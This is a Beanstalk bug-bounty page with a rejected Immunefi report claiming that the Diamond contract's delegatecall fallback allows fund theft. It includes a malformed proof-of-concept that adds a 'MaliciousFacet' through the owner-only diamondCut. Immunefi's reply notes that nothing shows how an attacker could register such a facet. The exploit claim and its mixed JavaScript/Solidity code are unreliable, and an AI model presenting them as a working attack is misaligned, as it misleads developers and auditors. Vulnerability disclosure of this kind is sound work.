Beanstalk Notion
Beanstalk Notion
/
🪲
Bug Reports
/
BIC Notes
/
📄
Report #34271
📄

Report #34271

Report Date
August 7, 2024
Status
Closed
Payout

Delegatecall Vulnerability in Fallback Function Leads to Arbitrary Code Execution

‣
Report Info

Report ID

#34271

Report type

Smart Contract

Has PoC?

Yes

Target

https://etherscan.io/address/0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5

Impacts

Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield

Description

Link: https://eips.ethereum.org/EIPS/eip-2535

Diamond contains a delegatecall vulnerability in its fallback function. This vulnerability allows an attacker to execute arbitrary code within the context of the contract, potentially leading to unauthorized actions such as transferring ownership or draining funds, code:

fallback() external payable { LibDiamond.DiamondStorage storage ds; bytes32 position = LibDiamond.DIAMOND_STORAGE_POSITION; assembly { ds.slot := position } address facet = ds.selectorToFacetAndPosition[msg.sig].facetAddress; require(facet != address(0), "Diamond: Function does not exist"); assembly { calldatacopy(0, 0, calldatasize()) let result := delegatecall(gas(), facet, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) switch result case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } }

function forwards any call it receives to a corresponding facet using delegatecall. If an attacker can register a malicious facet, they can execute arbitrary code within the context of the Diamond contract.

Impact:

Unauthorized transfer of ownership. Draining the contract of all its funds. Arbitrary changes to the contract state.

Proof of concept

const diamond = await Diamond.new(ownerAddress); Deploy Malicious Facet: Deploy a new facet contract with malicious code.

contract MaliciousFacet { Diamond diamond; constructor(address diamondAddress) { diamond = Diamond(diamondAddress); }

function exploit() external {
    // Code to call back into the diamond contract to exploit delegatecall
    diamond.call(abi.encodeWithSignature("functionToExploit()"));
}

}

const maliciousFacet = await MaliciousFacet.new(diamond.address); Add Malicious Facet to Diamond: Use the diamondCut function to add the malicious facet to the Diamond.

const cut = [{ facetAddress: maliciousFacet.address, action: 0, // Add functionSelectors: [web3.utils.keccak256("exploit()").slice(0, 10)] }]; await diamond.diamondCut(cut, address(0), "0x"); Execute Reentrancy: Call a function in the Diamond that the malicious facet can exploit to perform a reentrancy attack.

await diamond.call(abi.encodeWithSignature("exploit()"));

Immunefi Response

Unfortunately, after reviewing your report, Immunefi has decided to close it due to the assessed impact being out of scope.

Immunefi review:

  • The claimed impact "Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield" by the whitehat is in scope of the bug bounty program but the assessed impact doesn't match with the claimed impact for the following reasons.
    • If an attacker can register a malicious facet..
      • No evidence has been provided to show how an attacker can introduce a malicious facet.
  • assessed asset by the triage team is in scope for the bug bounty program
  • PoC has not been submitted to the project

Please note that the project will receive a report of the closed submission and may choose to re-open it, but they are not obligated to do so.